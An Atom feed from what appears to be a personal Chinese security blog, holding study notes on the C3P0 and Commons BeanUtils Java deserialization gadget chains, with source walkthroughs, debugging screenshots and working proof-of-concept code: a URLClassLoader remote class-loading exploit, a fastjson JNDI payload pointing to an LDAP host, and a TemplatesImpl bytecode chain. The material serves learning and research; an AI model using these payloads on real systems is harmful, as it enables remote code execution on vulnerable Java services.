<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>S@Ku_yA的blog</title>
  
  <subtitle>车车人的笔记</subtitle>
  <link href="http://example.com/atom.xml" rel="self"/>
  
  <link href="http://example.com/"/>
  <updated>2026-06-02T04:22:22.928Z</updated>
  <id>http://example.com/</id>
  
  <author>
    <name>S@Ku_yA</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>C3P0链</title>
    <link href="http://example.com/2026/05/28/C3P0%E9%93%BE/"/>
    <id>http://example.com/2026/05/28/C3P0%E9%93%BE/</id>
    <published>2026-05-28T10:18:54.000Z</published>
    <updated>2026-06-02T04:22:22.928Z</updated>
    
    <content type="html"><![CDATA[<h1 id="C3P0链"><a href="#C3P0链" class="headerlink" title="C3P0链"></a>C3P0链</h1><h2 id="C3P0"><a href="#C3P0" class="headerlink" title="C3P0"></a>C3P0</h2><p>早期的数据库连接池工具包 控制管理数据库连接</p><p>避免重复多次创建销毁连接 </p><p>创建一次数据源 就可以直接多次使用</p><h3 id="依赖地址"><a href="#依赖地址" class="headerlink" title="依赖地址"></a>依赖地址</h3><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.mchange<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>c3p0<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>0.9.5.2<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="DataSource"><a href="#DataSource" class="headerlink" title="DataSource"></a>DataSource</h3><p>数据源。为了提高系统性能，在真实的Java项目中通过不会使用原生的JDBC的DriverManager去连接数据库，而是使用数据源（java.sql.DataSource）来代替DriverManager管理数据库的连接。</p><p>其中C3P0就是一种常见的数据源，它允许应用程序重复使用一个现有的数据库连接，而不是再重新建立一个。它提供了高效管理和复用数据库连接的功能。</p><p>简单使用</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ComboPooledDataSource</span> <span class="variable">source</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ComboPooledDataSource</span>();</span><br><span class="line"></span><br><span class="line">source.setDriverClass(<span class="string">&quot;com.mysql.jdbc.Driver&quot;</span>);</span><br><span class="line">source.setJdbcUrl(<span class="string">&quot;jdbc:mysql://127.0.0.1:3306/mysql&quot;</span>);</span><br><span class="line">source.setUser(<span class="string">&quot;root&quot;</span>);</span><br><span class="line">source.setPassword(<span class="string">&quot;root&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">Connection</span> <span class="variable">connection</span> <span class="operator">=</span> source.getConnection();</span><br></pre></td></tr></table></figure><hr><h2 id="C3P0-URLClassLoader远程类加载"><a href="#C3P0-URLClassLoader远程类加载" class="headerlink" title="C3P0 URLClassLoader远程类加载"></a>C3P0 URLClassLoader远程类加载</h2><h3 id="核心类"><a href="#核心类" class="headerlink" title="核心类"></a>核心类</h3><ol><li>PoolBackedDataSourceBase</li><li>ReferenceIndirector$ReferenceSerialized</li><li>ReferenceableUtils</li></ol><hr><h3 id="PoolBackedDataSourceBase"><a href="#PoolBackedDataSourceBase" class="headerlink" title="PoolBackedDataSourceBase"></a>PoolBackedDataSourceBase</h3><p>重点在writeObject和readObject</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528191717965.png" alt="image-20260528191717965"></p><p><img src="E:\blog_back\source_posts\CB链\image-20260528191817141.png" alt="image-20260528191817141"></p><p>来看看这个类 <strong>ReferenceIndirector</strong></p><p>上面如果没有成功序列化 则会进入异常中 </p><p>进入<strong>ReferenceIndirector.indirectForm</strong></p><p><img src="E:\blog_back\source_posts\CB链\image-20260528191959983.png" alt="image-20260528191959983"></p><p>调用<strong>getReference()</strong> 被调用的对象必须要继承<strong>Reference接口</strong>才行 不然直接就异常跳出了</p><p>后续会实例化一个<strong>ReferenceSerialized</strong></p><p>注意这里的<strong>ref可控 其他的参数都不可控</strong></p><p><strong>ref来自于ConnectionPoolDataSource成员对象</strong></p><p>实例化的作用就是填入一些内容而已</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528192301027.png" alt="image-20260528192301027"></p><p><strong>writeObject方法</strong>的下面又是类似的操作 只不过换成了<strong>extensions</strong> 我们这里没用到他</p><p>接下来看看<strong>readObject方法</strong></p><p><img src="E:\blog_back\source_posts\CB链\image-20260528192359550.png" alt="image-20260528192359550"></p><p>判断对象里面是否有 <strong>IndirectlySerialized</strong></p><p>有则调用<strong>getObject方法</strong></p><p>这里实际上调用刚刚序列化的<strong>IndirectlySerialized对象</strong>的<strong>getObject方法</strong></p><p><img src="E:\blog_back\source_posts\CB链\image-20260528192632788.png" alt="image-20260528192632788"></p><p>可以看到会调用<strong>lookup方法</strong> 那么可以直接打<strong>jndi</strong>吗</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528192845953.png" alt="image-20260528192845953"></p><p>刚刚也就<strong>reference</strong>是可控的地方 <strong>contextName</strong>是不可控的</p><p>所以没法直接打jndi</p><p>进入下面的 <code>ReferenceableUtils.referenceToObject( reference, name, nameContext, env )</code></p><p><img src="E:\blog_back\source_posts\CB链\image-20260528193114617.png" alt="image-20260528193114617"></p><p><img src="E:\blog_back\source_posts\CB链\image-20260528193320344.png" alt="image-20260528193320344"></p><p>这个部分会获取ref对象的工厂类名和工厂类的地址也就是url了</p><p>然后获取ClassLoader对象</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528193410242.png" alt="image-20260528193410242"></p><p>将获取的url包装为一个URL对象 </p><p>创建一个URLCLassLoader对象 传入刚刚的URL对象和类加载器</p><p>这里指定类加载器尝试加载工厂类 <code>Class fClass = Class.forName( fClassName, true, cl );</code></p><p>由于指定的是URLCLassLoader这个类加载器 那么他会尝试远程类加载</p><p>如果成功获取到相对于的类就直接实例化</p><hr><p>我们只需要在PoolBackedDataSourceBase里面填入一个connectionPoolDataSource成员对象就可以了</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528193950357.png" alt="image-20260528193950357"></p><p>调用setter就可以了</p><hr><h3 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;</span><br><span class="line"><span class="keyword">import</span>  com.*;</span><br><span class="line"><span class="keyword">import</span> com.mchange.v2.ser.Indirector;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.naming.*;</span><br><span class="line"><span class="keyword">import</span> javax.sql.ConnectionPoolDataSource;</span><br><span class="line"><span class="keyword">import</span> javax.sql.PooledConnection;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.sql.SQLException;</span><br><span class="line"><span class="keyword">import</span> java.sql.SQLFeatureNotSupportedException;</span><br><span class="line"><span class="keyword">import</span> java.util.Properties;</span><br><span class="line"><span class="keyword">import</span> java.util.logging.Logger;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">C3P0_URLClassLoader</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">PoolBackedDataSourceBase</span> <span class="variable">pool</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PoolBackedDataSourceBase</span>(<span class="literal">false</span>);</span><br><span class="line">        pool.setConnectionPoolDataSource(<span class="keyword">new</span> <span class="title class_">datapool</span>());</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">baos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(baos);</span><br><span class="line">        oos.writeObject(pool);</span><br><span class="line">        oos.flush();</span><br><span class="line">        oos.close();</span><br><span class="line">        <span class="type">ByteArrayInputStream</span> <span class="variable">bais</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(baos.toByteArray());</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(bais);</span><br><span class="line">        ois.readObject();</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">static</span> <span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">datapool</span> <span class="keyword">implements</span> <span class="title class_">ConnectionPoolDataSource</span>, Referenceable &#123;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> PooledConnection <span class="title function_">getPooledConnection</span><span class="params">()</span> <span class="keyword">throws</span> SQLException &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> PooledConnection <span class="title function_">getPooledConnection</span><span class="params">(String user, String password)</span> <span class="keyword">throws</span> SQLException &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> PrintWriter <span class="title function_">getLogWriter</span><span class="params">()</span> <span class="keyword">throws</span> SQLException &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setLogWriter</span><span class="params">(PrintWriter out)</span> <span class="keyword">throws</span> SQLException &#123;</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setLoginTimeout</span><span class="params">(<span class="type">int</span> seconds)</span> <span class="keyword">throws</span> SQLException &#123;</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">getLoginTimeout</span><span class="params">()</span> <span class="keyword">throws</span> SQLException &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> Logger <span class="title function_">getParentLogger</span><span class="params">()</span> <span class="keyword">throws</span> SQLFeatureNotSupportedException &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> Reference <span class="title function_">getReference</span><span class="params">()</span> <span class="keyword">throws</span> NamingException &#123;</span><br><span class="line">            <span class="type">Reference</span> <span class="variable">ref</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Reference</span>(<span class="string">&quot;Calc&quot;</span>,<span class="string">&quot;Calc&quot;</span>,<span class="string">&quot;http://127.0.0.1:8000/&quot;</span>);</span><br><span class="line">            <span class="keyword">return</span> ref;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="调试一下"><a href="#调试一下" class="headerlink" title="调试一下"></a>调试一下</h3><p><img src="E:\blog_back\source_posts\CB链\image-20260528195259529.png" alt="image-20260528195259529"></p><p>传入的成员对象要继承这2个接口</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528195323453.png" alt="image-20260528195323453"></p><p>这个方法还得实现一下</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528195400032.png" alt="image-20260528195400032"></p><p>断点打在writeObject上面</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528195443542.png" alt="image-20260528195443542"></p><p>刚刚传入的对象没法序列化 所以进入下面的语句中</p><p>实例化一个ReferenceIndirector对象 并调用indirectForm并传入connectionPoolDataSource成员</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528195623241.png" alt="image-20260528195623241"></p><p>刚刚实现了<strong>getReference方法</strong> 现在的引用对象ref有这些内容 都是后面远程类加载需要的</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528195741498.png" alt="image-20260528195741498"></p><p>实例化内部类ReferenceSerialized</p><p>现在来到<strong>readobject方法</strong></p><p><img src="E:\blog_back\source_posts\CB链\image-20260528195833889.png" alt="image-20260528195833889"></p><p>进入getObject方法</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528195857726.png" alt="image-20260528195857726"></p><p>进入ReferenceableUtils.referenceToObject方法</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528195931476.png" alt="image-20260528195931476"></p><p>上面是获取远程类的一些基本信息 下面开始加载这个远程类</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528200031196.png" alt="image-20260528200031196"></p><p>远程的这个地方收到请求</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528200100881.png" alt="image-20260528200100881"></p><p>成功加载并初始化</p><p>由于这里是调用forName方法 会触发类的静态方法 所以这里直接就会弹了 </p><hr><p>这条链子一个触发类就成了</p><p>并且也只要传入一个对象 其他的都是内部调用还是太权威了 出不过不出网就没法利用了</p><hr><h2 id="C3P0-jndi"><a href="#C3P0-jndi" class="headerlink" title="C3P0 jndi"></a>C3P0 jndi</h2><p>这个工具包支持jndi 所以很多地方都有jndi的影子</p><p>这个链子打fastjson解析反序列化 或者是fastjson原生反序列化</p><h3 id="核心类-1"><a href="#核心类-1" class="headerlink" title="核心类"></a>核心类</h3><ol><li>JndiRefConnectionPoolDataSource</li><li>WrapperConnectionPoolDataSource</li><li>JndiRefDataSourceBase</li><li>JndiRefForwardingDataSource</li></ol><h3 id="JndiRefConnectionPoolDataSource"><a href="#JndiRefConnectionPoolDataSource" class="headerlink" title="JndiRefConnectionPoolDataSource"></a>JndiRefConnectionPoolDataSource</h3><p>这个类名字就和jndi连接有关</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528202310663.png" alt="image-20260528202310663"></p><p><img src="E:\blog_back\source_posts\CB链\image-20260528202350126.png" alt="image-20260528202350126"></p><p>跟进一下这个方法</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528202412739.png" alt="image-20260528202412739"></p><p><img src="E:\blog_back\source_posts\CB链\image-20260528202621859.png" alt="image-20260528202621859"></p><p>会获得一个成员变量如何调用getLoginTimeout方法</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528202652369.png" alt="image-20260528202652369"></p><p>我们先转到调试的时候的这个类</p><p>跟进inner方法</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528202735429.png" alt="image-20260528202735429"></p><p>进入dereference方法</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528202801219.png" alt="image-20260528202801219"></p><p>获取jndi地址 然后lookup 可以打jndi </p><p>看看jndiname怎么控制</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528202908642.png" alt="image-20260528202908642"></p><p>调用的getJndiName来自JndiRefDataSourceBase类</p><p>JndiRefConnectionPoolDataSource这个类里面有这个成员对象 JndiRefForwardingDataSource</p><p>JndiRefForwardingDataSource继承了JndiRefDataSourceBase类</p><p> <img src="E:\blog_back\source_posts\CB链\image-20260528203235360.png" alt="image-20260528203235360"></p><p><img src="E:\blog_back\source_posts\CB链\image-20260528203331817.png" alt="image-20260528203331817"></p><p>所以直接调用setJndiName就可以控制了</p><hr><h3 id="POC-1"><a href="#POC-1" class="headerlink" title="POC"></a>POC</h3><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span><span class="string">&quot;com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;JndiName&quot;</span><span class="punctuation">:</span><span class="string">&quot;ldap://127.0.0.1:4321/Calc&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;getLoginTimeout&quot;</span><span class="punctuation">:</span><span class="string">&quot;1&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h2 id="C3P0-hex加载字节码"><a href="#C3P0-hex加载字节码" class="headerlink" title="C3P0 hex加载字节码"></a>C3P0 hex加载字节码</h2><h3 id="核心类-2"><a href="#核心类-2" class="headerlink" title="核心类"></a>核心类</h3><ol><li>WrapperConnectionPoolDataSource</li><li>WrapperConnectionPoolDataSourceBase.<strong>setUserOverridesAsString</strong></li><li>VetoableChangeSupport.fireVetoableChange</li><li>VetoableChangeSupport.fireVetoableChange</li><li>WrapperConnectionPoolDataSource.vetoableChange</li><li>C3P0ImplUtils.parseUserOverridesAsString</li><li>SerializableUtils.fromByteArray( serBytes )</li></ol><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span><span class="string">&quot;com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSource&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;UserOverridesAsString&quot;</span><span class="punctuation">:</span><span class="string">&quot;HexAsciiSerializedMap:&quot;</span>+hex</span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;C3P0链&quot;&gt;&lt;a href=&quot;#C3P0链&quot; class=&quot;headerlink&quot; title=&quot;C3P0链&quot;&gt;&lt;/a&gt;C3P0链&lt;/h1&gt;&lt;h2 id=&quot;C3P0&quot;&gt;&lt;a href=&quot;#C3P0&quot; class=&quot;headerlink&quot; title=&quot;C3P0&quot;</summary>
      
    
    
    
    <category term="Java安全" scheme="http://example.com/categories/Java%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="知识" scheme="http://example.com/tags/%E7%9F%A5%E8%AF%86/"/>
    
    <category term="java" scheme="http://example.com/tags/java/"/>
    
    <category term="反序列化" scheme="http://example.com/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    
    <category term="CC链" scheme="http://example.com/tags/CC%E9%93%BE/"/>
    
  </entry>
  
  <entry>
    <title>CB链</title>
    <link href="http://example.com/2026/05/27/CB%E9%93%BE/"/>
    <id>http://example.com/2026/05/27/CB%E9%93%BE/</id>
    <published>2026-05-27T07:01:02.000Z</published>
    <updated>2026-05-28T11:13:25.953Z</updated>
    
    <content type="html"><![CDATA[<h1 id="CB链"><a href="#CB链" class="headerlink" title="CB链"></a>CB链</h1><p>CB 包：Apache Commons BeanUtils</p><p>在 Java 中，符合特定规范的类被称为 JavaBean（通常包含私有属性和 getter&#x2F;setter 方法）。在处理这些对象时，经常需要频繁地反射赋值、拷贝属性，CB 包就是为了<strong>简化 JavaBean 的操作与反射</strong>而生的</p><p>提供了一系列javabean方法</p><hr><p>在ysoserial中的CB链中 使用了<strong>BeanComparator</strong>作为<strong>PriorityQueue</strong>的中转类 来打CB链</p><h3 id="核心类"><a href="#核心类" class="headerlink" title="核心类"></a>核心类</h3><ol><li>PriorityQueue（触发类）</li><li>BeanComparator</li><li>PropertyUtils</li><li>TemplatesImpl（sink）</li></ol><h3 id="BeanComparator"><a href="#BeanComparator" class="headerlink" title="BeanComparator"></a>BeanComparator</h3><p>根据CC的经验 我们会去触发他的<strong>compare方法</strong></p><p><img src="E:\blog_back\source_posts\CB链\image-20260527152051374.png" alt="image-20260527152051374"></p><p>方法里面有触发一个<strong>PropertyUtils.getProperty方法</strong> 猜测会获取对象o1里面的属性</p><p>继续更进 </p><p><img src="E:\blog_back\source_posts\CB链\image-20260527152448961.png" alt="image-20260527152448961"></p><p>实例化一个<strong>PropertyUtilsBean对象</strong> 调用<strong>getProperty方法</strong></p><p><img src="E:\blog_back\source_posts\CB链\image-20260527152604445.png" alt="image-20260527152604445"></p><p>继续跟进</p><p><img src="E:\blog_back\source_posts\CB链\image-20260527152702450.png" alt="image-20260527152702450"></p><p>进入<strong>PropertyUtilsBean.getSimpleProperty方法</strong> 上面一系列判断 后面调试再看</p><p><img src="E:\blog_back\source_posts\CB链\image-20260527152802264.png" alt="image-20260527152802264"></p><p>下面会调用getPropertyDescriptor(bean, name)</p><p>猜测是获取相关属性方法用的 比如setter和getter</p><p><code>Method readMethod = getReadMethod(bean.getClass(), descriptor)</code></p><p>获取读方法 应该是获取getter方法</p><p>后面就是直接反射调用</p><p><img src="E:\blog_back\source_posts\CB链\image-20260527153003397.png" alt="image-20260527153003397"></p><p>所以说 一系列调用获取javabean的属性 最后会调用和这个属性有关的getter方法</p><p>这是<strong>BeanComparator</strong>的特性 不难想到尝试触发<strong>TemplatesImpl.getOutputProperties方法</strong></p><p>最后看看怎么传对象到BeanComparator里面</p><p><img src="E:\blog_back\source_posts\CB链\image-20260527153721685.png" alt="image-20260527153721685"></p><p>反射调用就行</p><hr><h3 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.beanutils.BeanComparator;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.beanutils.PropertyUtils;</span><br><span class="line"><span class="keyword">import</span> com.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Files;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Paths;</span><br><span class="line"><span class="keyword">import</span> java.util.PriorityQueue;</span><br><span class="line"><span class="keyword">import</span> java.util.Properties;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CB</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">path</span> <span class="operator">=</span> <span class="string">&quot;D:\\123\\Calc.class&quot;</span>;</span><br><span class="line">        <span class="type">byte</span>[] eval = Files.readAllBytes(Paths.get(path));</span><br><span class="line">        <span class="type">byte</span>[][] _bytecodes = <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;eval&#125;;</span><br><span class="line">        <span class="type">String</span> <span class="variable">transletName</span> <span class="operator">=</span> <span class="string">&quot;sakuya&quot;</span>;</span><br><span class="line">        <span class="type">Properties</span> <span class="variable">pro</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Properties</span>();</span><br><span class="line">        <span class="type">TransformerFactoryImpl</span> <span class="variable">fac</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>();</span><br><span class="line">        <span class="type">Class</span> <span class="variable">clazz</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&quot;</span>);</span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">constructor</span> <span class="operator">=</span> clazz.getDeclaredConstructor(<span class="type">byte</span>[][].class,String.class,Properties.class,<span class="type">int</span>.class,TransformerFactoryImpl.class);</span><br><span class="line">        constructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">obj</span> <span class="operator">=</span> (TemplatesImpl) constructor.newInstance(_bytecodes,transletName,pro,<span class="number">1</span>,fac);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="type">BeanComparator</span> <span class="variable">beanComparator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BeanComparator</span>();</span><br><span class="line"></span><br><span class="line">        <span class="type">PriorityQueue</span> <span class="variable">priorityQueue</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>(<span class="number">2</span>,beanComparator);</span><br><span class="line">        priorityQueue.add(<span class="number">1</span>);</span><br><span class="line">        priorityQueue.add(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        refMethod.setValue(priorityQueue,<span class="string">&quot;queue&quot;</span>,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;obj,obj&#125;);</span><br><span class="line">        refMethod.setValue(beanComparator,<span class="string">&quot;property&quot;</span>,<span class="string">&quot;outputProperties&quot;</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        deseriazler.deserialize(priorityQueue);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="E:\blog_back\source_posts\CB链\image-20260527153322135.png" alt="image-20260527153322135"></p><p>为什么要add两次 并且为什么要反射调用修改都是CB链的细节</p><hr><h3 id="调试一下"><a href="#调试一下" class="headerlink" title="调试一下"></a>调试一下</h3><p>断点打在PriorityQueue.add这里</p><p><img src="E:\blog_back\source_posts\CB链\image-20260527153756734.png" alt="image-20260527153756734"></p><p><img src="E:\blog_back\source_posts\CB链\image-20260527154032691.png" alt="image-20260527154032691"></p><p>直接到这里</p><p><strong>siftUpUsingComparator方法</strong>调用提前触发<strong>comparator.compare</strong> </p><p><img src="E:\blog_back\source_posts\CB链\image-20260527154343155.png" alt="image-20260527154343155"></p><p>只要<strong>BeanComparator</strong>有<strong>property属性</strong> 后面就会继续调用 